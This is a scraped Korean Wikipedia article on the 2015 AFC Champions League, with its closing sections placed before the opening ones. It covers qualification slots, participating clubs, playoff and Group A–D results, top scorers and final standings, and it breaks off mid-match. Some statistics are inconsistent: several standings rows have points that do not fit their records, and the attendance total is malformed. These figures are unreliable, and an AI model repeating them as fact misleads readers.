3 4 5 6 1 2 1 2 1 2 1 2 1 히카르두 골라르트 광저우 헝다 타오바오 1 3 2 2 8 2 양쉬 산둥 루넝 2 1 1 2 6 아흐메드 칼릴 알아흘리 1 2 2 1 6 3 오마르 알소마 일아흘리 1 2 2 5 아사모아 잔 알아인 1 1 1 2 5 유세프 므사크니 레크위야 1 1 1 1 1 5 7 이동국 전북 현대 모터스 2 2 4 우사미 다카시 감바 오사카 1 1 2 4 구도 마사토 가시와 레이솔 2 1 1 4 지오구 부리람 유나이티드 1 3 4 파트릭 감바 오사카 2 1 1 4 카를루스 에두아르두 알힐랄 2 1 1 4 리마 알아흘리 1 1 1 1 4 이베르통 히베이루 알아흘리 1 1 1 1 4 플레이오프의 득점은 포함되지 않았다. 최종 순위[편집] 순위 팀 경기수 승 무 패 득 실 득실차 승점 1 광저우 헝다 타오바오 14 7 4 3 19 14 5 28 2 알아흘리 14 5 6 3 18 16 2 21 3 알힐랄 12 6 3 3 21 12 9 21 4 감바 오사카 12 6 3 3 20 14 6 21 5 레크위야 10 5 3 2 16 14 2 18 6 전북현대 10 4 4 2 18 10 8 15 7 가시와 레이솔 10 4 3 3 20 17 3 15 8 나프트 테헤란 10 3 2 5 11 13 -2 14 9 페르세폴리스 8 5 0 3 8 10 -2 15 10 수원 삼성 블루윙스 8 4 4 2 15 12 3 16 11 알아인 8 3 5 0 10 5 5 20 12 FC서울 8 3 5 2 9 8 1 20 13 알아흘리 8 3 3 2 13 9 4 12 14 베이징 궈안 8 3 3 2 7 5 2 12 15 알사드 8 3 2 3 12 13 -1 11 16 성남FC 8 3 1 4 10 10 0 13 17 부리람 유나이티드 6 3 1 2 12 7 5 10 18 웨스턴 시드니 원더러스 6 2 2 2 9 7 2 8 19 알나스르 6 2 2 2 7 5 2 8 20 나사프 카르시 6 2 2 2 5 5 0 8 21 산둥 루넝 6 2 1 3 13 17 -4 7 22 브리즈번 로어 6 2 1 3 7 9 -2 7 23 가시마 앤틀러스 6 2 0 4 10 13 -3 6 24 풀라드 FC 6 1 3 2 2 4 -2 6 25 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4 26 트락토르 사지 6 1 1 4 7 11 -4 4 27 우라와 레즈 6 1 1 4 5 9 -4 4 28 빈즈엉 FC 6 1 1 4 6 15 -9 4 29 광저우 푸리 6 1 1 4 3 13 -10 4 30 파흐타코르 타슈켄트 6 1 3 2 6 8 -2 6 31 알샤바브 6 1 2 3 5 8 -3 5 32 부뇨드코르 6 0 1 5 2 7 -5 1 같이 보기[편집] AFC컵 2015 각주[편집] ↑ 가 나 “AFC MA Ranking as at 3 November 2014” (PDF). AFC.  ↑ AFC. “AFC Calendar of Competitions 2015” (PDF).  외부 링크[편집] 공식 홈페이지 vdehAFC 챔피언스리그 시즌아시안 챔피언 클럽 토너먼트(1967-1971)시즌 1967 1969 1970 1971 결승전 1967 1969 1970 1971 아시안 클럽 챔피언십(1985-2002)시즌 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 결승전 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 AFC 챔피언스리그(2002-현재)시즌 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 결승전 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 vdehAFC 챔피언스리그 20152008 | 2009 | 2010 | 2011 | 2012 | 2013 | 2014 | 2015 | 2016 | 2017 | 2018 | 2019우승 광저우 헝다준우승 알아흘리4강 알힐랄 · 감바 오사카8강 전북 현대 모터스 · 나프트 테헤란 · 가시와 레이솔 · 레크위야16강 수원 삼성 블루윙즈 · 성남 FC · FC 서울 · 알아흘리 · 페르세폴리스 · 알아인 · 베이징 궈안 · 알사드조별 예선 알나스르 · 알샤바브 · 풀라드 · 트락토르 사지 · 우라와 레즈 · 가시마 앤틀러스 · 파흐타코르 타슈켄트 · 로코모티프 타슈켄트 · 나사프 카르시 · 부뇨드코르 · 브리즈번 로어 · 웨스턴 시드니 원더러스 · 산둥 루넝 · 광저우 푸리 · 부리람 유나이티드 · 빈즈엉 FC플레이오프 센트럴코스트 매리너스 · 알자지라 · 알와흐다 · 엘자이시 · 카디시야 · 알웨흐다트 · 촌부리 · 방콕 글라스 · 알나흐다 · 하노이 T&T · 리파 · 페르십 반둥 · 킷치 · 야다나본 · 조호르 다룰 탁짐 · 벵갈루루 · 워리어스 원본 주소 "https://ko.wikipedia.org/w/index.php?title=AFC_챔피언스리그_2015&oldid=24403485" 분류: AFC 챔피언스리그 시즌2015년 축구 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةDeutschEnglishEspañolفارسیFrançaisBahasa IndonesiaItaliano日本語QaraqalpaqshaBahasa MelayuNederlandsPortuguêsРусскийSvenskaไทยOʻzbekcha/ўзбекча中文粵語 링크 편집 이 문서는 2019년 6월 9일 (일) 23:04에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
AFC 챔피언스리그 2015 - 위키백과, 우리 모두의 백과사전 AFC 챔피언스리그 2015 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 AFC 챔피언스리그 2015 AFC Champions League 2015대회 개요개최기간 2015년 2월 4일 ~ 11월 21일참가클럽 49 (21개 협회) (1 (AFC)개 대륙)경기장 46 (40개 도시)최종 순위● 우승 팀 광저우 헝다 타오바오 (2번째 우승)● 준우승 팀 알아흘리 (두바이) 공동 3위 감바 오사카 알힐랄통계총 경기수 143경기득점 총합 392골 (경기당 2.74골)총 관중수 2,28,8863명 (경기당 16,006명)최다득점 선수 히카르두 골라르트 (8골)최우수 선수 히카르두 골라르트 ← 2014 2016 → v • d • e • h AFC 챔피언스리그 2015는 13번째로 개최되는 AFC 챔피언스리그이다. 우승 팀은 FIFA 클럽 월드컵 2015에 참가한다. 목차 1 출전권 배정 2 참가 팀 2.1 서아시아 (A-D조) 2.2 동아시아 (E-H조) 3 일정 4 플레이오프 4.1 서아시아 4.1.1 2라운드 4.1.2 3라운드 4.2 동아시아 4.2.1 1라운드 4.2.2 2라운드 4.2.3 3라운드 5 조별 리그 5.1 A조 5.2 B조 5.3 C조 5.4 D조 5.5 E조 5.6 F조 5.7 G조 5.8 H조 6 결선 토너먼트 6.1 16강전 6.1.1 1경기 6.1.2 2경기 6.1.3 3경기 6.1.4 4경기 6.1.5 5경기 6.1.6 6경기 6.1.7 7경기 6.1.8 8경기 6.2 8강전 6.2.1 1경기 6.2.2 2경기 6.2.3 3경기 6.2.4 4경기 6.3 준결승전 6.3.1 1경기 6.3.2 2경기 6.4 결승전 7 우승 8 득점 선수 9 최종 순위 10 같이 보기 11 각주 12 외부 링크 출전권 배정[편집] 기준 충족 국가 기준 미충족 국가 서아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 사우디아라비아 1 2 88.268 3 1 0 — 이란 2 3 80.794 3 1 0 — 우즈베키스탄 3 5 62.272 3 1 0 — 아랍에미리트 4 7 57.792 2 2 0 — 카타르 5 9 56.102 1 0 2 — 이라크* 6 10 47.106 0 0 0 — 쿠웨이트 7 11 45.225 0 0 1 — 요르단 8 12 44.309 0 0 1 — 오만 9 14 30.586 0 0 1 — 바레인 10 16 25.547 0 0 1 — 레바논* 11 17 25.488 0 0 0 — 시리아* 12 19 22.883 0 0 0 — 합계 12 5 6 — 동아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 대한민국 1 1 94.866 3 1 0 0 일본 2 4 77.107 3 1 0 0 오스트레일리아 3 6 57.940 2 1 0 0 중국 4 8 57.660 2 1 1 0 태국 5 13 33.049 1 0 2 0 베트남 6 15 27.753 1 0 1 0 인도네시아 7 18 25.004 0 0 1 0 홍콩 8 20 20.077 0 0 1 0 미얀마 9 21 18.282 0 0 0 1 말레이시아 10 22 18.153 0 0 0 1 인도 11 23 16.756 0 0 0 1 싱가포르 12 24 16.097 0 0 0 1 합계 12 4 6 4 AFC컵 참가 대상 국가의 클럽이 조별 리그에 진출할 경우 차순위 팀이 해당 팀을 대신하여 AFC컵 2014의 조별 리그에 참가하게 된다. * 이라크와 레바논, 시리아는 출전권을 분배받았지만, 클럽 라이센싱 기준을 통과한 클럽이 없어 출전권이 박탈되었다. 참가 팀[편집] 서아시아 (A-D조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 알나스르 사우디 프리미어리그 2013-14 우승 2회 2011 알샤바브 사우디 챔피언스컵 2014 우승 9회 2014 알힐랄 사우디 프리미어리그 2013-14 준우승 11회 2014 풀라드 페르시안 걸프 컵 2013-14 우승 3회 2014 트락토르 사지 하즈피 컵 2013-14 우승 3회 2014 페르세폴리스 페르시안 걸프 컵 2013-14 준우승 5회 2012 파흐타코르 우즈베키스탄 리그 2014 우승 12회 2013 로코모티프 타슈켄트 우즈베키스탄 컵 2014 우승 우즈베키스탄 리그 2014 준우승 3회 2014 나사프 카르시 우즈베키스탄 리그 2014 3위 3회 2014 알아흘리 UAE 1부 리그 2013-14 우승 6회 2014 알아인 UAE 프레지던트컵 2013-14 우승 10회 2014 레크위야 카타르 스타스 리그 2013-14 우승 4회 2014 플레이오프 3라운드 알아흘리 사우디 프리미어리그 2013-14 3위 7회 2013 나프트 테헤란 페르시안 걸프 컵 2013-14 3위 1회 첫 출전 부뇨드코르* 우즈베키스탄 리그 2014 4위 8회 2014 알와흐다 UAE 1부 리그 2013-14 준우승 7회 2011 알자지라 UAE 1부 리그 2013-14 3위 7회 2014 플레이오프 2라운드 알사드 카타르 아미르 컵 2014 우승 10회 2014 알자이시 카타르 스타스 리그 2013-14 준우승 3회 2014 알카디시야 쿠웨이트 프리미어리그 2012-13 우승 AFC컵 2014 결승 진출 팀 5회 2014 알웨흐다트 요르단 리그 2013-14 우승 2회 2002-03 알나흐다 클럽 오만 리그 2013-14 우승 1회 첫 출전 리파 클럽 바레인 프리미어리그 2013-14 우승 2회 2004 동아시아 (E-H조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 전북 현대 모터스 K리그 클래식 2014 우승 9회 2014 성남 FC FA컵 2014 우승 6회 2012 수원 삼성 블루윙즈 K리그 클래식 2014 준우승 6회 2013 감바 오사카 J리그 디비전 1 2014 우승 천황배 2014 우승 7회 2012 우라와 레드 다이아몬즈 J리그 디비전 1 2014 준우승 4회 2013 가시마 앤틀러스 J리그 디비전 1 2014 3위 6회 2011 브리즈번 로어 A리그 2013-14 정규리그 우승 A리그 2013-14 그랜드 파이널 우승 3회 2013 웨스턴 시드니 원더러스 A리그 2013-14 정규리그 준우승 2회 2014 광저우 헝다 중국 슈퍼리그 2014 우승 4회 2014 산둥 루넝 중국 FA컵 2014 우승 7회 2014 부리람 유나이티드 타이 프리미어리그 2014 우승 5회 2014 빈즈엉 V-리그 2014 우승 2회 2008 플레이오프 3라운드 FC 서울 K리그 클래식 2014 3위 5회 2014 가시와 레이솔* J리그 디비전 1 2014 4위 3회 2013 센트럴코스트 매리너스* A리그 2013-14 정규리그 3위 5회 2014 베이징 궈안 중국 슈퍼리그 2014 준우승 7회 2014 플레이오프 2라운드 광저우 푸리 중국 슈퍼리그 2014 3위 1회 첫 출전 방콕 글라스 태국 FA컵 2014 우승 4회 2008 촌부리 타이 프리미어리그 2014 준우승 4회 2014 하노이 T&T** V-리그 2014 준우승 1회 첫 출전 페르십 반둥 인도네시아 슈퍼리그 2014 우승 1회 첫 출전 킷치 홍콩 1부 리그 2013-14 우승 1회 첫 출전 플레이오프 1라운드 야다나본 미얀마 내셔널리그 2013-14 우승 1회 첫 출전 조호르 다룰 탁짐 말레이시아 슈퍼리그 2014 우승 1회 첫 출전 벵갈루루 I-리그 2013-14 우승 1회 첫 출전 워리어스 S-리그 2014 우승 3회 2010 * 리그 상위팀들이 컵대회를 우승함에 따라 차순위 팀들이 진출하게 된다. **베트남 컵 2014에서 우승한 하이퐁 FC가 클럽 라이센싱 기준을 통과하지 못해 리그 준우승팀이 참가하게 되었다. 일정[편집] AFC 챔피언스리그 2015 대회 경기 일정은 다음과 같다.[2] 단계 라운드 추첨 일자 1차전 2차전 플레이오프 1라운드 2014년 12월 11일 (말레이시아 쿠알라룸푸르) 2015년 2월 4일 2라운드 2015년 2월 10일 3라운드 2015년 2월 17일 조별 예선 1차전 2015년 2월 24일 ~ 2월 25일 2차전 2015년 3월 3일 ~ 3월 4일 3차전 2015년 3월 17일 ~ 3월 18일 4차전 2015년 4월 7일 ~ 4월 8일 5차전 2015년 4월 21일 ~ 4월 22일 6차전 2015년 5월 5일 ~ 5월 6일 토너먼트전 16강전 2015년 5월 19일 ~ 5월 20일 2015년 5월 26일 ~ 5월 27일 8강전 6월 18일 2015년 8월 25일 ~ 8월 26일 2015년 9월 15일 ~ 9월 16일 준결승전 2015년 9월 29일 ~ 9월 30일 2015년 10월 20일 ~ 10월 21일 결승전 2015년 11월 7일 2015년 11월 21일 플레이오프[편집] 순위가 높은 축구 협회에 속해 있는 팀의 홈 구장에서 단판 승부로 진행되며 90분 내에 승부가 나지 않으면 연장전, 승부차기가 진행된다. 플레이오프 승자는 조별 예선에 진출한다. 플레이오프에서 탈락하는 팀 중 2015 AFC컵 참가 대상인 팀은 AFC컵 조별 라운드 출전 자격을 얻는다. 서아시아[편집] 2라운드[편집] 팀 1 결과 팀 2 알카디시야 1 : 0 알웨흐다트 알자이시 2 : 1 알나흐다 알사드 0 : 0 (연장) (승부차기 11 : 10) 리파 2015년 2월 10일 18:15 (UTC+03) 알카디시야 1 : 0 알웨흐다트 쿠웨이트 S.C. 스타디움 관중수: 9,200 심판: 모하나드 카심 압둘라  59' 2015년 2월 10일 18:00 (UTC+03) 알자이시 2 : 1 알나흐다 알가라파 스타디움 관중수: 5,507 심판: 모흐드 아미룰 이즈완 야콥 히베이루  79' 호마리뉴  90' 보울라니  4' 2015년 2월 10일 18:30 (UTC+03) 알사드 0 : 0 (연장전) 리파 셰이크 자심 빈 하마드 스타디움 관중수: 2,500 심판: 무하마드 타키     승부차기   11 : 10   3라운드[편집] 팀 1 결과 팀 2 알아흘리 2 : 1 (연장) 알카디시야 나프트 테헤란 1 : 0 알자이시 부뇨드코르 2 : 1 알자지라 알와흐다 4 : 4 (연장) (승부차기 4 : 5) 알사드 2015년 2월 17일 20:10 (UTC+03) 알아흘리 2 : 1 (연장전) 알카디시야 킹 압둘라 스포츠 시티 관중수: 34,028 심판: 나와프 슈크랄라 알소마  83' (pen.) 알바사스  115' 리포트 알무타와  33' 2015년 2월 17일 18:00 (UTC+03:30) 나프트 테헤란 1 : 0 알자이시 아자디 스타디움 관중수: 5,750 심판: 랍샨 이르마토프 몬타하리  50' 리포트 2015년 2월 17일 17:00 (UTC+05) 부뇨드코르 2 : 1 알자지라 부뇨드코르 스타디움 관중수: 9,263 심판: 알리레자 파가니 쇼디에프  23' 라시도프  52' 리포트 맙쿠트  45+1' (pen.) 2015년 2월 17일 19:10 (UTC+04) 알와흐다 4 : 4 (연장전) 알사드 알나얀 경기장 관중수: 4,208 심판: 압둘라 알힐랄리 디아즈  8' 오마르  72' 알셰히  90+2' 마타르  108' 리포트 아메드  55' 이브라힘  66', 90+7', 98'     승부차기   4 : 5   동아시아[편집] 1라운드[편집] 팀 1 결과 팀 2 야다나본 1 : 1 (연장) (승부차기 5 : 6) 워리어스 조호르 다룰 탁짐 2 : 1 (연장) 벵갈루루 2015년 2월 4일 16:00 (UTC+06:30) 야다나본 1 : 1 (연장전) 워리어스 만달라 스타디움 관중수: 21,400 심판: 하메드 모메니 예 윈 아웅  102' 앤디 윈 아흐마드  99'     승부차기   5 : 6   2015년 2월 4일 20:45 (UTC+08) 조호르 다룰 탁짐 2 : 1 (연장전) 벵갈루루 스타디움 조호르 관중수: 17,455 심판: 압둘 가푸르 압둘 하미드 해리스 하런  47'찬투루 수피아  97' 유진슨  90' 2라운드[편집] 팀 1 결과 팀 2 하노이 T&T 4 : 0 페르십 반둥 촌부리 4 : 1 킷치 광저우 푸리 3 : 0 워리어스 방콕 글라스 3 : 0 조호르 다룰 탁짐 2015년 2월 10일 18:00 (UTC+07) 하노이 T&T 4 : 0 페르십 반둥 미 딘 스타디움 관중수: 2,500 심판: 재러드 질릿 마론클레  34', 57'삼손  47', 71' 2015년 2월 10일 19:00 (UTC+07) 촌부리 4 : 1 킷치 촌부리 스타디움 관중수: 3,432 심판: 김상우 아숨프상  8', 39', 55'누룰  27' 완 춘  35' 2015년 2월 10일 19:30 (UTC+08) 광저우 푸리 3 : 0 워리어스 예지우 스타디움 관중수: 7,883 심판: 미노루 토조 장즈펑  53'장현수  60'장숴  75' 2015년 2월 10일 19:00 (UTC+07) 방콕 글라스 3 : 0 조호르 다룰 탁짐 레오 스타디움 관중수: 5,299 심판: 크리스 베스 나롱  28' 카임비  52', 62' 3라운드[편집] 팀 1 결과 팀 2 FC 서울 7 : 0 하노이 T&T 가시와 레이솔 3 : 2 (연장) 촌부리 센트럴코스트 매리너스 1 : 3 광저우 푸리 베이징 궈안 3 : 0 방콕 글라스 2015년 2월 17일 19:30 (UTC+09) FC 서울 7 : 0 하노이 T&T 서울월드컵경기장 관중수: 6,718 심판: 사토 류지 윤일록  14' 에벨톤  20' 정조국  29', 46' 에스쿠데로  40' 이석현  69' 고명진  72' 리포트 2015년 2월 17일 19:00 (UTC+09) 가시와 레이솔 3 : 2 (연장전) 촌부리 히타치 가시와 축구장 관중수: 6,324 심판: 피터 그린 다케토미  8'레안드루  58 (pen.)', 116' 리포트 아숨프상  10' 크로에크릿  65' 2015년 2월 17일 19:30 (UTC+11) 센트럴코스트 매리너스 1 : 3 광저우 푸리 블루텅 경기장 관중수: 2,776 심판: 김동진 트리피로  90+2' 리포트 장닝  8' 루린  57' 로스  89 (o.g)' 2015년 2월 17일 18:00 (UTC+08) 베이징 궈안 3 : 0 방콕 글라스 베이징 공인체육장 관중수: 21,017 심판: 고형진 송보쉬안  17'바타야  64 (pen.)', 73' 리포트 조별 리그[편집] 각 클럽은 홈과 원정으로 같은 조의 세 클럽들과 두 번씩, 총 여섯 번의 경기를 한다. 승리시 승점 3점, 무승부시 승점 1점을 얻는다. 만약 승점이 같은 팀이 있을 경우 아래와 같은 방법으로 동점자를 가린다. 승점이 같은 팀 간 경기에서 상대 전적이 앞서는 팀 승점이 같은 팀 간 경기에서 골득실차가 더 높은 팀 승점이 같은 팀 간 경기에서 다득점을 한 팀 승점이 같은 팀 간 경기에서 원정 다득점을 한 팀 1~4의 기준을 적용하였음에도 여전히 순위가 같으면 1~4 기준을 순위가 같은 팀 안에서 다시 적용한다. 그럼에도 순위가 같을 경우 아래의 기준을 따른다. 조별 리그에서의 골득실차 조별 리그에서의 다득점 승점이 같은 팀끼리의 승부차기 조별 리그에서 받은 경고와 퇴장으로 인한 점수가 가장 적은 팀 (경고 1점, 경고 누적 퇴장 3점, 직접 퇴장 3점, 경고 후 직접 퇴장 4점) 해당 팀이 소속된 국가의 AFC 랭킹 각 조의 1위 팀과 2위 팀만이 다음 라운드로 진출한다. A조[편집] 팀 경기 승 무 패 득 실 차 승점 레크위야 6 4 1 1 9 5 +4 13 페르세폴리스 6 4 0 2 7 7 0 12 알나스르 6 2 2 2 7 6 +1 8 부뇨드코르 6 0 1 5 2 7 -5 1   알나스르 — 1 : 3 3 : 0 1 : 1 레크위야 1 : 1 — 3 : 0 1 : 0 페르세폴리스 1 : 0 3 : 0 — 2 : 1 부뇨드코르 0 : 1 0 : 1 0 : 1 — 2015년 2월 24일 18:00 (UTC+03:30) 페르세폴리스 3 : 0 레크위야 아자디 스타디움 관중수: 15,350 심판: 헤티캄카남게 페레라 벤가르  60' 노루지  66' 누리  66' (pen.) 리포트 2015년 2월 24일 20:25 (UTC+03) 알나스르 1 : 1 부뇨드코르 킹 파드 국립 경기장 관중수: 23,664 심판: 무하맛 타키 에스토야노프  51' 리포트 우린보에프  14' 2015년 3월 3일 18:00 (UTC+05) 부뇨드코르 0 : 1 페르세폴리스 부뇨드코르 스타디움 관중수: 21,285 심판: 김동진 리포트 누리  21' (pen.) 2015년 3월 3일 18:15 (UTC+03) 레크위야 1 : 1 알나스르 압둘라 빈 할리파 경기장 관중수: 3,840 심판: 모하나드 카심 이르시 사라이 베이스  51' 리포트 무사  47' (o.g) 2015년 3월 17일 18:00 (UTC+05) 부뇨드코르 0 : 1 레크위야 부뇨드코르 스타디움 관중수: 3,840 심판: 이이다 준페이 리포트 남태희  28' (pen.) 2015년 3월 17일 20:30 (UTC+03) 알나스르 3 : 0 페르세폴리스 킹 파드 국립 경기장 관중수: 20,315 심판: 사토 류지 미에르제예프스키  32' 에스토야노프  86' 알라헤브  90+5' 리포트 2015년 4월 8일 18:00 (UTC+04:30) 페르세폴리스 1 : 0 알나스르 아자디 스타디움 관중수: 100,000 심판: 마닝 타로미  62' (pen.) 리포트 2015년 4월 8일 18:30 (UTC+03) 레크위야 1 : 0 부뇨드코르 압둘라 빈 할리파 경기장 관중수: 3,188 심판: 압둘라 알힐랄리 베이스  43' 리포트 2015년 4월 22일 18:30 (UTC+03) 레크위야 3 : 0 페르세폴리스 압둘라 빈 할리파 경기장 관중수: 4,877 심판: 벤 윌리엄스 므사크니  69' 남태희  83' 아피프  90+3' 리포트 2015년 4월 22일 19:00 (UTC+05) 부뇨드코르 0 : 1 알나스르 부뇨드코르 스타디움 관중수: 3,153 심판: 리우 콱 만 리포트 미에르제예프스키  33' 2015년 5월 6일 20:50 (UTC+03) 알나스르 1 : 3 레크위야 킹 파드 국립 경기장 관중수: 40,915 심판: 김종혁 알라에브  36' 리포트 므사크니  28' 남태희  32' 소리아  58' (pen.) 2015년 5월 6일 18:30 (UTC+04:30) 페르세폴리스 2 : 1 부뇨드코르 아자디 스타디움 관중수: 100,000 심판: 야마모토 유다이 누리  69' (pen.) 유라바에프  90+3' (o.g) 리포트 라시도프  69' B조[편집] 팀 경기 승 무 패 득 실 차 승점 알아인 6 3 3 0 7 2 +5 12 나프트 테헤란 6 2 2 2 8 8 0 8 파흐타코르 6 1 3 2 6 8 -2 6 알샤바브 6 1 2 3 5 8 -3 5   파흐타코르 — 0 : 2 0 : 1 2 : 1 알샤바브 2 : 2 — 0 : 1 0 : 3 알아인 1 : 1 0 : 0 — 3 : 0 나프트 테헤란 1 : 1 2 : 1 1 : 1 — 2015년 2월 24일 16:30 (UTC+05) 파흐타코르 2 : 1 나프트 테헤란 파흐타코르 마르카지 경기장 관중수: 4,913 심판: 마사아키 토마 마카라제  48' 세르게에프  85' 리포트 고르바니  59' 2015년 2월 24일 19:00 (UTC+04) 알아인 0 : 0 알샤바브 하자빈 자예드 스타디움 관중수: 15,426 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 3월 3일 18:00 (UTC+03:30) 나프트 테헤란 1 : 1 알아인 아자디 스타디움 관중수: 3,300 심판: 탄하이 쿠로시  50' 리포트 잔  58' (페널티) 2015년 3월 3일 20:20 (UTC+03) 알샤바브 2 : 2 파흐타코르 킹 파드 국립 경기장 관중수: 5,404 심판: 피터 그린 알카이바리  35'하자지  84' 리포트 세르게에프  62'마카라제  71' (페널티) 2015년 3월 18일 17:00 (UTC+05) 파흐타코르 0 : 1 알아인 파흐타코르 마르카지 경기장 관중수: 8,675 심판: 김종혁 리포트 스토흐  61' 2015년 3월 18일 18:00 (UTC+03:30) 나프트 테헤란 2 : 1 알샤바브 아자디 스타디움 관중수: 1,560 심판: 김동진 모타하리  86' 파도바니  90' 리포트 하자지  43' (페널티) 2015년 4월 7일 19:15 (UTC+04) 알아인 1 : 1 파흐타코르 하자빈 자예드 스타디움 관중수: 6,872 심판: 파하드 알마리 켐보  20' 리포트 세르게에프  45+2' 2015년 4월 7일 20:35 (UTC+03) 알샤바브 0 : 3 나프트 테헤란 킹 파드 국립 경기장 관중수: 5,035 심판: 헤티캄카남게 페레라 리포트 아미리  57' 모타하리  83' 알리야리  90+1' 2015년 4월 22일 20:40 (UTC+03) 알샤바브 0 : 1 알아인 킹 파드 국립 경기장 관중수: 1,977 심판: 도조 미노루 리포트 잔  58' 2015년 4월 22일 19:00 (UTC+04:30) 나프트 테헤란 1 : 1 파흐타코르 아자디 스타디움 관중수: 1,840 심판: 김상우 레자에이  25' 리포트 코자크  36' 2015년 5월 6일 18:30 (UTC+05) 파흐타코르 0 : 2 알샤바브 파흐타코르 마르카지 경기장 관중수: 3,638 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 5월 6일 19:30 (UTC+04) 알아인 3 : 0 나프트 테헤란 하자빈 자예드 스타디움 관중수: 4,299 심판: 피터 그린 리포트 C조[편집] 팀 경기 승 무 패 득 실 차 승점 알힐랄 6 4 1 1 9 4 +5 13 알사드 6 3 1 2 9 9 0 10 풀라드 6 1 3 2 2 4 -2 6 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4   풀라드 — 1 : 0 0 : 0 0 : 0 로코모티프 타슈켄트 1 : 1 — 0 : 2 5 : 0 알힐랄 2 : 0 3 : 1 — 2 : 1 알사드 1 : 0 6 : 2 1 : 0 — 2015년 2월 25일 16:00 (UTC+03:30) 풀라드 0 : 0 알사드 가디르 스타디움 관중수: 37,843 심판: 김상우 리포트 2015년 2월 25일 20:30 (UTC+03) 알힐랄 3 : 1 로코모티프 타슈켄트 킹 파드 국립 경기장 관중수: 17,440 심판: 김종혁 카리리  11'알살렘  14'치아구 네베스  71' 리포트 미르자예프  39' 2015년 3월 4일 15:00 (UTC+05) 로코모티프 타슈켄트 1 : 1 풀라드 로코모티프 스타디움 관중수: 7,456 심판: 사토 류지 조테에프  6' 리포트 자마아티  32' 2015년 3월 4일 18:45 (UTC+03) 알사드 1 : 0 알힐랄 자심 빈 하마드 스타디움 관중수: 6,843 심판: 아흐메드 알카프 이브라힘  29' 리포트 2015년 3월 17일 16:00 (UTC+03:30) 풀라드 0 : 0 알힐랄 가디르 스타디움 관중수: 37,452 심판: 재러드 질릿 리포트 2015년 3월 17일 18:45 (UTC+03) 알사드 6 : 2 로코모티프 타슈켄트 자심 빈 하마드 스타디움 관중수: 4,100 심판: 벤 윌리엄스 이브라힘  27' (페널티) 알하이도스  34' 벨하지  40' 무리키  50' 하산  63' 그라피치  66' 리포트 코야셰비치  56' 야수르 하사노프  77' (pen.) 2015년 4월 8일 16:00 (UTC+05) 로코모티프 타슈켄트 5 : 0 알사드 로코모티프 스타디움 관중수: 3,852 심판: 김동진 비크마에프  7', 14' 쇼아크메도프  55' 코야셰비치  79' 코리안  90+1' 리포트 2015년 4월 8일 20:45 (UTC+03) 알힐랄 2 : 0 풀라드 킹 파드 국립 경기장 관중수: 20,087 심판: 도마 마사아키 알샴라니  46' 알샤라니  61' 리포트 2015년 4월 21일 16:00 (UTC+05) 로코모티프 타슈켄트 1 : 2 알힐랄 로코모티프 스타디움 관중수: 3,974 심판: 나고르 아미르 누르 모하메드 압두콜리코프  90+4' 리포트 알리 아베드  56' 알조리  72' 2015년 4월 21일 19:00 (UTC+03) 알사드 1 : 0 풀라드 자심 빈 하마드 스타디움 관중수: 3,455 심판: 모흐드 아미룰 이즈완 야콥 무리키  42' 리포트 2015년 5월 5일 17:30 (UTC+04:30) 풀라드 1 : 0 로코모티프 타슈켄트 가디르 스타디움 관중수: 2,142 심판: 마닝 2015년 5월 5일 20:55 (UTC+03) 알힐랄 2 : 1 알사드 킹 파드 국립 경기장 관중수: 9,394 심판: 고형진 D조[편집] 팀 경기 승 무 패 득 실 차 승점 알아흘리 6 3 3 0 11 7 +4 12 알아흘리 6 2 2 2 8 8 0 8 나사프 카르시 6 2 2 2 5 5 0 8 트락토르 사지 6 1 1 4 7 11 -4 4   알아흘리 — 3 : 2 0 : 0 3 : 3 트락토르 사지 1 : 0 — 1 : 2 2 : 2 나사프 카르시 0 : 1 2 : 1 — 0 : 0 알아흘리 2 : 1 2 : 0 2 : 1 — 2015년 2월 25일 18:00 (UTC+05) 나사프 카르시 2 : 1 트락토르 사지 카르시 경기장 관중수: 11,160 심판: 압둘라 알힐랄리 쇼무로도프  46' 카리모프  52' 리포트 에지뉴  32' 2015년 2월 25일 20:25 (UTC+04) 알아흘리 3 : 3 알아흘리 라세드 경기장 관중수: 7,200 심판: 도조 미노루 함마디  19', 79' 칼릴  43' 리포트 오스발도  2' 알모가위  41' 알자셈  57' 2015년 3월 4일 16:00 (UTC+03:30) 트락토르 사지 1 : 0 알아흘리 아데가르 에맘 스타디움 관중수: 25,830 심판: 고형진 암하자데흐  40' 리포트 2015년 3월 4일 20:15 (UTC+03) 알아흘리 2 : 1 나사프 카르시 킹 압둘라 스포츠 시티 관중수: 19,855 심판: 스트레브르 델로프스키 알소마  22' 알아마리  78' 리포트 주웨르키안  65' 2015년 3월 18일 20:35 (UTC+04) 알아흘리 0 : 0 